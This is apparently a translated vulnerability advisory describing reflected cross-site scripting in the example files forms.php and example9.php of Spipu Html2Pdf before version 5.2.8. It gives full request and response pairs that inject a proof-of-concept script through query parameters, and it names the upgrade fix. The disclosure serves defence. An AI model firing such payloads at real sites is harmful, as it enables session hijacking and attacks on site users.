Spipu Html2Pdf < 5.2.8 - 示例文件中存在 XSS 漏洞。
Spipu Html2Pdf 示例文件中存在跨站脚本（XSS）漏洞。该漏洞允许攻击者在当前登录用户的上下文中执行不受信任的 JavaScript 代码。
该漏洞存在于传递给 example9.php 和 forms.php 示例文件的任何参数中。
向 forms.php 脚本发送的示例请求：
GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
Host: example.afine.com
Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
服务器响应：
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2215
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<page footer="form">
<h1>Test de formulaire</h1><br>
<br>
<form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
<input type="hidden" name="test" value="1">
[...]
向 example9.php 脚本发送的示例请求：
GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
Host: example.afine.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
服务器响应：
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 18:32:51 GMT
Server: Apache
X-Powered-By: PHP/7.4.8
Content-Length: 795
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<body>
<br>
Ceci est un exemple de génération de PDF via un bouton :)<br>
<br>
<img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&py=20" alt="image_php" ><br>
<br>
<br>
<form method="get" action="">
[...]
该问题是由于对所提供请求参数缺乏清理（sanitization）所致。此问题已在 Spipu Html2Pdf 5.2.8 版本中修复。
< 5.2.8
将 Spipu Html2Pdf 更新至 5.2.8 或更高版本。